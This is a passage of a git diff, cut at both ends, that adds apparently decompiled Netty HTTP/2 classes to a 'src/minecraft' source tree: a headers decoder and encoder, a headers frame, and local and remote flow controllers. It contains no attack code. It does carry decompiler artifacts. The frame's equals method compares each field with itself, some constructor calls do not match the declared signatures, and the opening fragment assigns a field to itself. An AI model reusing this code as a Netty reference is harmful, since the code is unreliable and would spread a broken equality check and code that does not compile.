+    protected Http2HeaderEntry(CharSequence hash, CharSequence key, DefaultHeaders.HeaderEntry<CharSequence, CharSequence> value) {
+      super(key);
+      this.value = value;
+      this.next = next;
+      
+
+      if ((key.length() != 0) && (key.charAt(0) == ':')) {
+        after = firstNonPseudo;
+        before = firstNonPseudo.before();
+      } else {
+        after = head;
+        before = head.before();
+        if (firstNonPseudo == head) {
+          firstNonPseudo = this;
+        }
+      }
+      pointNeighborsToThis();
+    }
+    
+    protected void remove()
+    {
+      if (this == firstNonPseudo) {
+        firstNonPseudo = firstNonPseudo.after();
+      }
+      super.remove();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersDecoder.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersDecoder.java
new file mode 100644
index 0000000..a51c4dc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersDecoder.java
@@ -0,0 +1,114 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.http2.internal.hpack.Decoder;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2HeadersDecoder
+  implements Http2HeadersDecoder, Http2HeadersDecoder.Configuration
+{
+  private static final float HEADERS_COUNT_WEIGHT_NEW = 0.2F;
+  private static final float HEADERS_COUNT_WEIGHT_HISTORICAL = 0.8F;
+  private final Decoder decoder;
+  private final Http2HeaderTable headerTable;
+  private final boolean validateHeaders;
+  private float headerArraySizeAccumulator = 8.0F;
+  
+  public DefaultHttp2HeadersDecoder() {
+    this(true);
+  }
+  
+  public DefaultHttp2HeadersDecoder(boolean validateHeaders) {
+    this(validateHeaders, new Decoder());
+  }
+  
+  public DefaultHttp2HeadersDecoder(boolean validateHeaders, int initialHuffmanDecodeCapacity) {
+    this(validateHeaders, new Decoder(initialHuffmanDecodeCapacity));
+  }
+  
+
+
+
+  DefaultHttp2HeadersDecoder(boolean validateHeaders, Decoder decoder)
+  {
+    this.decoder = ((Decoder)ObjectUtil.checkNotNull(decoder, "decoder"));
+    headerTable = new Http2HeaderTableDecoder(null);
+    this.validateHeaders = validateHeaders;
+  }
+  
+  public Http2HeaderTable headerTable()
+  {
+    return headerTable;
+  }
+  
+  public Http2HeadersDecoder.Configuration configuration()
+  {
+    return this;
+  }
+  
+  public Http2Headers decodeHeaders(int streamId, ByteBuf headerBlock) throws Http2Exception
+  {
+    try {
+      Http2Headers headers = new DefaultHttp2Headers(validateHeaders, (int)headerArraySizeAccumulator);
+      decoder.decode(streamId, headerBlock, headers);
+      headerArraySizeAccumulator = (0.2F * headers.size() + 0.8F * headerArraySizeAccumulator);
+      
+      return headers;
+    } catch (Http2Exception e) {
+      throw e;
+
+    }
+    catch (Throwable e)
+    {
+      throw Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, e, e.getMessage(), new Object[0]);
+    }
+  }
+  
+  private final class Http2HeaderTableDecoder implements Http2HeaderTable
+  {
+    private Http2HeaderTableDecoder() {}
+    
+    public void maxHeaderTableSize(long max) throws Http2Exception
+    {
+      decoder.setMaxHeaderTableSize(max);
+    }
+    
+    public long maxHeaderTableSize()
+    {
+      return decoder.getMaxHeaderTableSize();
+    }
+    
+    public void maxHeaderListSize(long max) throws Http2Exception
+    {
+      decoder.setMaxHeaderListSize(max);
+    }
+    
+    public long maxHeaderListSize()
+    {
+      return decoder.getMaxHeaderListSize();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersEncoder.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersEncoder.java
new file mode 100644
index 0000000..664d81d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersEncoder.java
@@ -0,0 +1,113 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.http2.internal.hpack.Encoder;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2HeadersEncoder
+  implements Http2HeadersEncoder, Http2HeadersEncoder.Configuration
+{
+  private final Encoder encoder;
+  private final Http2HeadersEncoder.SensitivityDetector sensitivityDetector;
+  private final Http2HeaderTable headerTable;
+  private final ByteBuf tableSizeChangeOutput = Unpooled.buffer();
+  
+  public DefaultHttp2HeadersEncoder() {
+    this(NEVER_SENSITIVE);
+  }
+  
+  public DefaultHttp2HeadersEncoder(Http2HeadersEncoder.SensitivityDetector sensitivityDetector) {
+    this(sensitivityDetector, new Encoder());
+  }
+  
+  public DefaultHttp2HeadersEncoder(Http2HeadersEncoder.SensitivityDetector sensitivityDetector, boolean ignoreMaxHeaderListSize) {
+    this(sensitivityDetector, new Encoder(ignoreMaxHeaderListSize));
+  }
+  
+  public DefaultHttp2HeadersEncoder(Http2HeadersEncoder.SensitivityDetector sensitivityDetector, boolean ignoreMaxHeaderListSize, int dynamicTableArraySizeHint)
+  {
+    this(sensitivityDetector, new Encoder(ignoreMaxHeaderListSize, dynamicTableArraySizeHint));
+  }
+  
+
+
+
+  DefaultHttp2HeadersEncoder(Http2HeadersEncoder.SensitivityDetector sensitivityDetector, Encoder encoder)
+  {
+    this.sensitivityDetector = ((Http2HeadersEncoder.SensitivityDetector)ObjectUtil.checkNotNull(sensitivityDetector, "sensitiveDetector"));
+    this.encoder = ((Encoder)ObjectUtil.checkNotNull(encoder, "encoder"));
+    headerTable = new Http2HeaderTableEncoder(null);
+  }
+  
+  public void encodeHeaders(Http2Headers headers, ByteBuf buffer)
+    throws Http2Exception
+  {
+    try
+    {
+      if (tableSizeChangeOutput.isReadable()) {
+        buffer.writeBytes(tableSizeChangeOutput);
+        tableSizeChangeOutput.clear();
+      }
+      
+      encoder.encodeHeaders(buffer, headers, sensitivityDetector);
+    } catch (Http2Exception e) {
+      throw e;
+    } catch (Throwable t) {
+      throw Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, t, "Failed encoding headers block: %s", new Object[] { t.getMessage() });
+    }
+  }
+  
+  public Http2HeaderTable headerTable()
+  {
+    return headerTable;
+  }
+  
+  public Http2HeadersEncoder.Configuration configuration()
+  {
+    return this;
+  }
+  
+  private final class Http2HeaderTableEncoder implements Http2HeaderTable
+  {
+    private Http2HeaderTableEncoder() {}
+    
+    public void maxHeaderTableSize(long max) throws Http2Exception
+    {
+      encoder.setMaxHeaderTableSize(tableSizeChangeOutput, max);
+    }
+    
+    public long maxHeaderTableSize()
+    {
+      return encoder.getMaxHeaderTableSize();
+    }
+    
+    public void maxHeaderListSize(long max) throws Http2Exception
+    {
+      encoder.setMaxHeaderListSize(max);
+    }
+    
+    public long maxHeaderListSize()
+    {
+      return encoder.getMaxHeaderListSize();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersFrame.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersFrame.java
new file mode 100644
index 0000000..7a1776f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2HeadersFrame.java
@@ -0,0 +1,115 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultHttp2HeadersFrame
+  extends AbstractHttp2StreamFrame
+  implements Http2HeadersFrame
+{
+  private final Http2Headers headers;
+  private final boolean endStream;
+  private final int padding;
+  
+  public DefaultHttp2HeadersFrame(Http2Headers headers)
+  {
+    this(headers, false);
+  }
+  
+
+
+
+
+  public DefaultHttp2HeadersFrame(Http2Headers headers, boolean endStream)
+  {
+    this(headers, endStream, 0);
+  }
+  
+
+
+
+
+
+
+
+  public DefaultHttp2HeadersFrame(Http2Headers headers, boolean endStream, int padding)
+  {
+    this.headers = ((Http2Headers)ObjectUtil.checkNotNull(headers, "headers"));
+    this.endStream = endStream;
+    Http2CodecUtil.verifyPadding(padding);
+    this.padding = padding;
+  }
+  
+  public DefaultHttp2HeadersFrame streamId(int streamId)
+  {
+    super.streamId(streamId);
+    return this;
+  }
+  
+  public String name()
+  {
+    return "HEADERS";
+  }
+  
+  public Http2Headers headers()
+  {
+    return headers;
+  }
+  
+  public boolean isEndStream()
+  {
+    return endStream;
+  }
+  
+  public int padding()
+  {
+    return padding;
+  }
+  
+  public String toString()
+  {
+    return "DefaultHttp2HeadersFrame(streamId=" + streamId() + ", headers=" + headers + ", endStream=" + endStream + ", padding=" + padding + ")";
+  }
+  
+
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof DefaultHttp2HeadersFrame)) {
+      return false;
+    }
+    DefaultHttp2HeadersFrame other = (DefaultHttp2HeadersFrame)o;
+    return (super.equals(other)) && (headers.equals(headers)) && (endStream == endStream) && (padding == padding);
+  }
+  
+
+  public int hashCode()
+  {
+    int hash = super.hashCode();
+    hash = hash * 31 + headers.hashCode();
+    hash = hash * 31 + (endStream ? 0 : 1);
+    hash = hash * 31 + padding;
+    return hash;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2LocalFlowController.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2LocalFlowController.java
new file mode 100644
index 0000000..df8facd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2LocalFlowController.java
@@ -0,0 +1,642 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2LocalFlowController
+  implements Http2LocalFlowController
+{
+  public static final float DEFAULT_WINDOW_UPDATE_RATIO = 0.5F;
+  private final Http2Connection connection;
+  private final Http2Connection.PropertyKey stateKey;
+  private Http2FrameWriter frameWriter;
+  private ChannelHandlerContext ctx;
+  private float windowUpdateRatio;
+  private int initialWindowSize = 65535;
+  
+  public DefaultHttp2LocalFlowController(Http2Connection connection) {
+    this(connection, 0.5F, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DefaultHttp2LocalFlowController(Http2Connection connection, float windowUpdateRatio, boolean autoRefillConnectionWindow)
+  {
+    this.connection = ((Http2Connection)ObjectUtil.checkNotNull(connection, "connection"));
+    windowUpdateRatio(windowUpdateRatio);
+    
+
+    stateKey = connection.newKey();
+    FlowState connectionState = autoRefillConnectionWindow ? new AutoRefillState(connection.connectionStream(), initialWindowSize) : new DefaultState(connection.connectionStream(), initialWindowSize);
+    
+
+    connection.connectionStream().setProperty(stateKey, connectionState);
+    
+
+    connection.addListener(new Http2ConnectionAdapter()
+    {
+
+      public void onStreamAdded(Http2Stream stream)
+      {
+        stream.setProperty(stateKey, DefaultHttp2LocalFlowController.REDUCED_FLOW_STATE);
+      }
+      
+
+
+      public void onStreamActive(Http2Stream stream)
+      {
+        stream.setProperty(stateKey, new DefaultHttp2LocalFlowController.DefaultState(DefaultHttp2LocalFlowController.this, stream, initialWindowSize));
+      }
+      
+
+      public void onStreamClosed(Http2Stream stream)
+      {
+        try
+        {
+          DefaultHttp2LocalFlowController.FlowState state = DefaultHttp2LocalFlowController.this.state(stream);
+          int unconsumedBytes = state.unconsumedBytes();
+          if ((ctx != null) && (unconsumedBytes > 0)) {
+            DefaultHttp2LocalFlowController.this.connectionState().consumeBytes(unconsumedBytes);
+            state.consumeBytes(unconsumedBytes);
+          }
+        } catch (Http2Exception e) {
+          PlatformDependent.throwException(e);
+
+        }
+        finally
+        {
+          stream.setProperty(stateKey, DefaultHttp2LocalFlowController.REDUCED_FLOW_STATE);
+        }
+      }
+    });
+  }
+  
+  public DefaultHttp2LocalFlowController frameWriter(Http2FrameWriter frameWriter)
+  {
+    this.frameWriter = ((Http2FrameWriter)ObjectUtil.checkNotNull(frameWriter, "frameWriter"));
+    return this;
+  }
+  
+  public void channelHandlerContext(ChannelHandlerContext ctx)
+  {
+    this.ctx = ((ChannelHandlerContext)ObjectUtil.checkNotNull(ctx, "ctx"));
+  }
+  
+  public void initialWindowSize(int newWindowSize) throws Http2Exception
+  {
+    assert ((ctx == null) || (ctx.executor().inEventLoop()));
+    int delta = newWindowSize - initialWindowSize;
+    initialWindowSize = newWindowSize;
+    
+    WindowUpdateVisitor visitor = new WindowUpdateVisitor(delta);
+    connection.forEachActiveStream(visitor);
+    visitor.throwIfError();
+  }
+  
+  public int initialWindowSize()
+  {
+    return initialWindowSize;
+  }
+  
+  public int windowSize(Http2Stream stream)
+  {
+    return state(stream).windowSize();
+  }
+  
+  public int initialWindowSize(Http2Stream stream)
+  {
+    return state(stream).initialWindowSize();
+  }
+  
+  public void incrementWindowSize(Http2Stream stream, int delta) throws Http2Exception
+  {
+    assert ((ctx != null) && (ctx.executor().inEventLoop()));
+    FlowState state = state(stream);
+    
+
+    state.incrementInitialStreamWindow(delta);
+    state.writeWindowUpdateIfNeeded();
+  }
+  
+  public boolean consumeBytes(Http2Stream stream, int numBytes) throws Http2Exception
+  {
+    assert ((ctx != null) && (ctx.executor().inEventLoop()));
+    if (numBytes < 0) {
+      throw new IllegalArgumentException("numBytes must not be negative");
+    }
+    if (numBytes == 0) {
+      return false;
+    }
+    
+
+
+    if ((stream != null) && (!isClosed(stream))) {
+      if (stream.id() == 0) {
+        throw new UnsupportedOperationException("Returning bytes for the connection window is not supported");
+      }
+      
+      boolean windowUpdateSent = connectionState().consumeBytes(numBytes);
+      windowUpdateSent |= state(stream).consumeBytes(numBytes);
+      return windowUpdateSent;
+    }
+    return false;
+  }
+  
+  public int unconsumedBytes(Http2Stream stream)
+  {
+    return state(stream).unconsumedBytes();
+  }
+  
+  private static void checkValidRatio(float ratio) {
+    if ((Double.compare(ratio, 0.0D) <= 0) || (Double.compare(ratio, 1.0D) >= 0)) {
+      throw new IllegalArgumentException("Invalid ratio: " + ratio);
+    }
+  }
+  
+
+
+
+
+
+
+  public void windowUpdateRatio(float ratio)
+  {
+    assert ((ctx == null) || (ctx.executor().inEventLoop()));
+    checkValidRatio(ratio);
+    windowUpdateRatio = ratio;
+  }
+  
+
+
+
+
+  public float windowUpdateRatio()
+  {
+    return windowUpdateRatio;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void windowUpdateRatio(Http2Stream stream, float ratio)
+    throws Http2Exception
+  {
+    assert ((ctx != null) && (ctx.executor().inEventLoop()));
+    checkValidRatio(ratio);
+    FlowState state = state(stream);
+    state.windowUpdateRatio(ratio);
+    state.writeWindowUpdateIfNeeded();
+  }
+  
+
+
+
+
+  public float windowUpdateRatio(Http2Stream stream)
+    throws Http2Exception
+  {
+    return state(stream).windowUpdateRatio();
+  }
+  
+  public void receiveFlowControlledFrame(Http2Stream stream, ByteBuf data, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    assert ((ctx != null) && (ctx.executor().inEventLoop()));
+    int dataLength = data.readableBytes() + padding;
+    
+
+    FlowState connectionState = connectionState();
+    connectionState.receiveFlowControlledFrame(dataLength);
+    
+    if ((stream != null) && (!isClosed(stream)))
+    {
+      FlowState state = state(stream);
+      state.endOfStream(endOfStream);
+      state.receiveFlowControlledFrame(dataLength);
+    } else if (dataLength > 0)
+    {
+      connectionState.consumeBytes(dataLength);
+    }
+  }
+  
+  private FlowState connectionState() {
+    return (FlowState)connection.connectionStream().getProperty(stateKey);
+  }
+  
+  private FlowState state(Http2Stream stream) {
+    return (FlowState)stream.getProperty(stateKey);
+  }
+  
+  private static boolean isClosed(Http2Stream stream) {
+    return stream.state() == Http2Stream.State.CLOSED;
+  }
+  
+
+  private final class AutoRefillState
+    extends DefaultHttp2LocalFlowController.DefaultState
+  {
+    public AutoRefillState(Http2Stream stream, int initialWindowSize)
+    {
+      super(stream, initialWindowSize);
+    }
+    
+    public void receiveFlowControlledFrame(int dataLength) throws Http2Exception
+    {
+      super.receiveFlowControlledFrame(dataLength);
+      
+      super.consumeBytes(dataLength);
+    }
+    
+    public boolean consumeBytes(int numBytes)
+      throws Http2Exception
+    {
+      return false;
+    }
+  }
+  
+
+
+
+  private class DefaultState
+    implements DefaultHttp2LocalFlowController.FlowState
+  {
+    private final Http2Stream stream;
+    
+
+
+    private int window;
+    
+
+
+    private int processedWindow;
+    
+
+
+    private int initialStreamWindowSize;
+    
+
+
+    private float streamWindowUpdateRatio;
+    
+
+
+    private int lowerBound;
+    
+
+
+    private boolean endOfStream;
+    
+
+
+    public DefaultState(Http2Stream stream, int initialWindowSize)
+    {
+      this.stream = stream;
+      window(initialWindowSize);
+      streamWindowUpdateRatio = windowUpdateRatio;
+    }
+    
+    public void window(int initialWindowSize)
+    {
+      assert ((ctx == null) || (ctx.executor().inEventLoop()));
+      window = (this.processedWindow = this.initialStreamWindowSize = initialWindowSize);
+    }
+    
+    public int windowSize()
+    {
+      return window;
+    }
+    
+    public int initialWindowSize()
+    {
+      return initialStreamWindowSize;
+    }
+    
+    public void endOfStream(boolean endOfStream)
+    {
+      this.endOfStream = endOfStream;
+    }
+    
+    public float windowUpdateRatio()
+    {
+      return streamWindowUpdateRatio;
+    }
+    
+    public void windowUpdateRatio(float ratio)
+    {
+      assert ((ctx == null) || (ctx.executor().inEventLoop()));
+      streamWindowUpdateRatio = ratio;
+    }
+    
+
+    public void incrementInitialStreamWindow(int delta)
+    {
+      int newValue = (int)Math.min(2147483647L, Math.max(0L, initialStreamWindowSize + delta));
+      
+      delta = newValue - initialStreamWindowSize;
+      
+      initialStreamWindowSize += delta;
+    }
+    
+    public void incrementFlowControlWindows(int delta) throws Http2Exception
+    {
+      if ((delta > 0) && (window > Integer.MAX_VALUE - delta)) {
+        throw Http2Exception.streamError(stream.id(), Http2Error.FLOW_CONTROL_ERROR, "Flow control window overflowed for stream: %d", new Object[] { Integer.valueOf(stream.id()) });
+      }
+      
+
+      window += delta;
+      processedWindow += delta;
+      lowerBound = (delta < 0 ? delta : 0);
+    }
+    
+    public void receiveFlowControlledFrame(int dataLength) throws Http2Exception
+    {
+      assert (dataLength >= 0);
+      
+
+      window -= dataLength;
+      
+
+
+
+
+
+      if (window < lowerBound) {
+        throw Http2Exception.streamError(stream.id(), Http2Error.FLOW_CONTROL_ERROR, "Flow control window exceeded for stream: %d", new Object[] { Integer.valueOf(stream.id()) });
+      }
+    }
+    
+    private void returnProcessedBytes(int delta) throws Http2Exception
+    {
+      if (processedWindow - delta < window) {
+        throw Http2Exception.streamError(stream.id(), Http2Error.INTERNAL_ERROR, "Attempting to return too many bytes for stream %d", new Object[] { Integer.valueOf(stream.id()) });
+      }
+      
+      processedWindow -= delta;
+    }
+    
+    public boolean consumeBytes(int numBytes)
+      throws Http2Exception
+    {
+      returnProcessedBytes(numBytes);
+      return writeWindowUpdateIfNeeded();
+    }
+    
+    public int unconsumedBytes()
+    {
+      return processedWindow - window;
+    }
+    
+    public boolean writeWindowUpdateIfNeeded() throws Http2Exception
+    {
+      if ((endOfStream) || (initialStreamWindowSize <= 0)) {
+        return false;
+      }
+      
+      int threshold = (int)(initialStreamWindowSize * streamWindowUpdateRatio);
+      if (processedWindow <= threshold) {
+        writeWindowUpdate();
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+    private void writeWindowUpdate()
+      throws Http2Exception
+    {
+      int deltaWindowSize = initialStreamWindowSize - processedWindow;
+      try {
+        incrementFlowControlWindows(deltaWindowSize);
+      } catch (Throwable t) {
+        throw Http2Exception.connectionError(Http2Error.INTERNAL_ERROR, t, "Attempting to return too many bytes for stream %d", new Object[] { Integer.valueOf(stream.id()) });
+      }
+      
+
+
+      frameWriter.writeWindowUpdate(ctx, stream.id(), deltaWindowSize, ctx.newPromise());
+    }
+  }
+  
+
+
+
+
+  private static final FlowState REDUCED_FLOW_STATE = new FlowState()
+  {
+    public int windowSize()
+    {
+      return 0;
+    }
+    
+    public int initialWindowSize()
+    {
+      return 0;
+    }
+    
+    public void window(int initialWindowSize)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public void incrementInitialStreamWindow(int delta) {}
+    
+
+    public boolean writeWindowUpdateIfNeeded()
+      throws Http2Exception
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean consumeBytes(int numBytes) throws Http2Exception
+    {
+      return false;
+    }
+    
+    public int unconsumedBytes()
+    {
+      return 0;
+    }
+    
+    public float windowUpdateRatio()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void windowUpdateRatio(float ratio)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void receiveFlowControlledFrame(int dataLength) throws Http2Exception
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public void incrementFlowControlWindows(int delta)
+      throws Http2Exception
+    {}
+    
+
+    public void endOfStream(boolean endOfStream)
+    {
+      throw new UnsupportedOperationException();
+    }
+  };
+  
+
+
+  private static abstract interface FlowState
+  {
+    public abstract int windowSize();
+    
+
+
+    public abstract int initialWindowSize();
+    
+
+
+    public abstract void window(int paramInt);
+    
+
+
+    public abstract void incrementInitialStreamWindow(int paramInt);
+    
+
+
+    public abstract boolean writeWindowUpdateIfNeeded()
+      throws Http2Exception;
+    
+
+
+    public abstract boolean consumeBytes(int paramInt)
+      throws Http2Exception;
+    
+
+
+    public abstract int unconsumedBytes();
+    
+
+
+    public abstract float windowUpdateRatio();
+    
+
+
+    public abstract void windowUpdateRatio(float paramFloat);
+    
+
+
+    public abstract void receiveFlowControlledFrame(int paramInt)
+      throws Http2Exception;
+    
+
+
+    public abstract void incrementFlowControlWindows(int paramInt)
+      throws Http2Exception;
+    
+
+    public abstract void endOfStream(boolean paramBoolean);
+  }
+  
+
+  private final class WindowUpdateVisitor
+    implements Http2StreamVisitor
+  {
+    private Http2Exception.CompositeStreamException compositeException;
+    
+    private final int delta;
+    
+
+    public WindowUpdateVisitor(int delta)
+    {
+      this.delta = delta;
+    }
+    
+    public boolean visit(Http2Stream stream) throws Http2Exception
+    {
+      try
+      {
+        DefaultHttp2LocalFlowController.FlowState state = DefaultHttp2LocalFlowController.this.state(stream);
+        state.incrementFlowControlWindows(delta);
+        state.incrementInitialStreamWindow(delta);
+      } catch (Http2Exception.StreamException e) {
+        if (compositeException == null) {
+          compositeException = new Http2Exception.CompositeStreamException(e.error(), 4);
+        }
+        compositeException.add(e);
+      }
+      return true;
+    }
+    
+    public void throwIfError() throws Http2Exception.CompositeStreamException {
+      if (compositeException != null) {
+        throw compositeException;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2RemoteFlowController.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2RemoteFlowController.java
new file mode 100644
index 0000000..4bfa27a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2RemoteFlowController.java
@@ -0,0 +1,775 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.BooleanSupplier;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayDeque;
+import java.util.Deque;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2RemoteFlowController
+  implements Http2RemoteFlowController
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(DefaultHttp2RemoteFlowController.class);
+  
+  private static final int MIN_WRITABLE_CHUNK = 32768;
+  private final Http2Connection connection;
+  private final Http2Connection.PropertyKey stateKey;
+  private final StreamByteDistributor streamByteDistributor;
+  private final FlowState connectionState;
+  private int initialWindowSize = 65535;
+  private WritabilityMonitor monitor;
+  private ChannelHandlerContext ctx;
+  
+  public DefaultHttp2RemoteFlowController(Http2Connection connection) {
+    this(connection, (Http2RemoteFlowController.Listener)null);
+  }
+  
+  public DefaultHttp2RemoteFlowController(Http2Connection connection, StreamByteDistributor streamByteDistributor)
+  {
+    this(connection, streamByteDistributor, null);
+  }
+  
+  public DefaultHttp2RemoteFlowController(Http2Connection connection, Http2RemoteFlowController.Listener listener) {
+    this(connection, new WeightedFairQueueByteDistributor(connection), listener);
+  }
+  
+
+  public DefaultHttp2RemoteFlowController(Http2Connection connection, StreamByteDistributor streamByteDistributor, Http2RemoteFlowController.Listener listener)
+  {
+    this.connection = ((Http2Connection)ObjectUtil.checkNotNull(connection, "connection"));
+    this.streamByteDistributor = ((StreamByteDistributor)ObjectUtil.checkNotNull(streamByteDistributor, "streamWriteDistributor"));
+    
+
+    stateKey = connection.newKey();
+    connectionState = new FlowState(connection.connectionStream());
+    connection.connectionStream().setProperty(stateKey, connectionState);
+    
+
+    listener(listener);
+    monitor.windowSize(connectionState, initialWindowSize);
+    
+
+    connection.addListener(new Http2ConnectionAdapter()
+    {
+
+      public void onStreamAdded(Http2Stream stream)
+      {
+        stream.setProperty(stateKey, new DefaultHttp2RemoteFlowController.FlowState(DefaultHttp2RemoteFlowController.this, stream));
+      }
+      
+
+
+      public void onStreamActive(Http2Stream stream)
+      {
+        monitor.windowSize(DefaultHttp2RemoteFlowController.this.state(stream), initialWindowSize);
+      }
+      
+
+
+      public void onStreamClosed(Http2Stream stream)
+      {
+        DefaultHttp2RemoteFlowController.this.state(stream).cancel();
+      }
+      
+      public void onStreamHalfClosed(Http2Stream stream)
+      {
+        if (Http2Stream.State.HALF_CLOSED_LOCAL.equals(stream.state()))
+        {
+
+
+
+
+
+
+
+
+
+
+          DefaultHttp2RemoteFlowController.this.state(stream).cancel();
+        }
+      }
+    });
+  }
+  
+
+
+
+
+  public void channelHandlerContext(ChannelHandlerContext ctx)
+    throws Http2Exception
+  {
+    this.ctx = ((ChannelHandlerContext)ObjectUtil.checkNotNull(ctx, "ctx"));
+    
+
+
+    channelWritabilityChanged();
+    
+
+
+
+
+    if (isChannelWritable()) {
+      writePendingBytes();
+    }
+  }
+  
+  public ChannelHandlerContext channelHandlerContext()
+  {
+    return ctx;
+  }
+  
+  public void initialWindowSize(int newWindowSize) throws Http2Exception
+  {
+    assert ((ctx == null) || (ctx.executor().inEventLoop()));
+    monitor.initialWindowSize(newWindowSize);
+  }
+  
+  public int initialWindowSize()
+  {
+    return initialWindowSize;
+  }
+  
+  public int windowSize(Http2Stream stream)
+  {
+    return state(stream).windowSize();
+  }
+  
+  public boolean isWritable(Http2Stream stream)
+  {
+    return monitor.isWritable(state(stream));
+  }
+  
+  public void channelWritabilityChanged() throws Http2Exception
+  {
+    monitor.channelWritabilityChange();
+  }
+  
+  private boolean isChannelWritable() {
+    return (ctx != null) && (isChannelWritable0());
+  }
+  
+  private boolean isChannelWritable0() {
+    return ctx.channel().isWritable();
+  }
+  
+  public void listener(Http2RemoteFlowController.Listener listener)
+  {
+    monitor = (listener == null ? new WritabilityMonitor(null) : new ListenerWritabilityMonitor(listener));
+  }
+  
+  public void incrementWindowSize(Http2Stream stream, int delta) throws Http2Exception
+  {
+    assert ((ctx == null) || (ctx.executor().inEventLoop()));
+    monitor.incrementWindowSize(state(stream), delta);
+  }
+  
+
+  public void addFlowControlled(Http2Stream stream, Http2RemoteFlowController.FlowControlled frame)
+  {
+    assert ((ctx == null) || (ctx.executor().inEventLoop()));
+    ObjectUtil.checkNotNull(frame, "frame");
+    try {
+      monitor.enqueueFrame(state(stream), frame);
+    } catch (Throwable t) {
+      frame.error(ctx, t);
+    }
+  }
+  
+  public boolean hasFlowControlled(Http2Stream stream)
+  {
+    return state(stream).hasFrame();
+  }
+  
+  private FlowState state(Http2Stream stream) {
+    return (FlowState)stream.getProperty(stateKey);
+  }
+  
+
+
+  private int connectionWindowSize()
+  {
+    return connectionState.windowSize();
+  }
+  
+
+
+
+
+
+  private int minUsableChannelBytes()
+  {
+    return Math.max(ctx.channel().config().getWriteBufferLowWaterMark(), 32768);
+  }
+  
+  private int maxUsableChannelBytes()
+  {
+    int channelWritableBytes = (int)Math.min(2147483647L, ctx.channel().bytesBeforeUnwritable());
+    int useableBytes = channelWritableBytes > 0 ? Math.max(channelWritableBytes, minUsableChannelBytes()) : 0;
+    
+
+    return Math.min(connectionState.windowSize(), useableBytes);
+  }
+  
+
+
+
+  private int writableBytes()
+  {
+    return Math.min(connectionWindowSize(), maxUsableChannelBytes());
+  }
+  
+  public void writePendingBytes() throws Http2Exception
+  {
+    monitor.writePendingBytes();
+  }
+  
+
+  private final class FlowState
+    implements StreamByteDistributor.StreamState
+  {
+    private final Http2Stream stream;
+    
+    private final Deque<Http2RemoteFlowController.FlowControlled> pendingWriteQueue;
+    
+    private int window;
+    
+    private int pendingBytes;
+    
+    private boolean markedWritable;
+    
+    private boolean writing;
+    
+    private boolean cancelled;
+    
+    private BooleanSupplier isWritableSupplier = new BooleanSupplier()
+    {
+      public boolean get() throws Exception {
+        return windowSize() > pendingBytes();
+      }
+    };
+    
+    FlowState(Http2Stream stream) {
+      this.stream = stream;
+      pendingWriteQueue = new ArrayDeque(2);
+    }
+    
+
+
+    boolean isWritable()
+    {
+      try
+      {
+        return isWritableSupplier.get();
+      } catch (Throwable cause) {
+        throw new Error("isWritableSupplier should never throw!", cause);
+      }
+    }
+    
+
+
+
+    public Http2Stream stream()
+    {
+      return stream;
+    }
+    
+
+
+    boolean markedWritability()
+    {
+      return markedWritable;
+    }
+    
+
+
